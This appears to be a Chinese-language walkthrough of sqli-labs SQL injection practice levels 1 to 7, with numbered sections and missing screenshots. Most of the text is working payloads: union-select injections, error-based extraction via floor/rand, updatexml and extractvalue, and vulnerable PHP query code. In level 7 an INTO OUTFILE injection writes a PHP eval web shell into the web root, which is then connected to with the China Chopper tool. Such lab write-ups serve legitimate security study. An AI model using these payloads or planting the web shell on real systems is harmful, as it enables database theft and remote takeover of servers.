1
1.1
通过屏幕的显示进行下面的输入 即可得到结果
1.2
?id=1' and 1=2 union select 1,version(),database() --+
可以得到下面的信息
1.3
2
2.1
相同的方法可以得到结果
3
3.1
输入 ?id=2') --+ 页面回显正常,说明此处是字符型注入,而且是以 ('')的方式闭合字符串的
4
与第三关类似,第四关使用 ("") 的方式闭合字符串,然后可以优先使用联合查询注入
1.当输入?id=3" --+时,页面显示不正常
2.当输入?id=3") --+
4.1
5
(1). 通过floor报错
and (select 1 from (select count(*),concat((payload),floor (rand(0)*2))x from information_schema.tables group by x)a)
其中payload为你要插入的SQL语句
需要注意的是该语句将 输出字符长度限制为64个字符
(2). 通过updatexml报错
and updatexml(1,payload,1)
同样该语句对输出的字符长度也做了限制,其最长输出32位
并且该语句对payload的反悔类型也做了限制,只有在payload返回的不是xml格式才会生效
(3). 通过ExtractValue报错
and extractvalue(1, payload)
输出字符有长度限制,最长32位。
代码如下
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
if($row){
echo 'You are in...........';
}else{
print_r(mysql_error());
}
5.1
6
?id=2" and (select 1 from (select count(*),concat(((select concat(schema_name,';') from information_schema.schemata limit 0,1)),floor (rand(0)*2))x from information_schema.tables group by x)a) --+
7
union select 1,2,3 into outfile "C:\\software\\phpmyadmin\\1.php"
需要注意的是利用数据库file权限向操作系统写入文件时, 对于相同文件名的文件不能覆盖,所以如果第一次上传chao.php,下次在上传chao.php,就是无效命令了,也就是新的chao,php中的内容并不会覆盖,之前的chao.php
我们再尝试上传一句话木马,具体命令
?id=-1')) union select 1,"<?php @eval($_POST['chopper']);?>",3 into outfile "C:\\phpStudy\\PHPTutorial\\WWW\\123456.php" --+
接着试着访问一下这个文件
上传成功,使用菜刀链接下
连接成功!!!!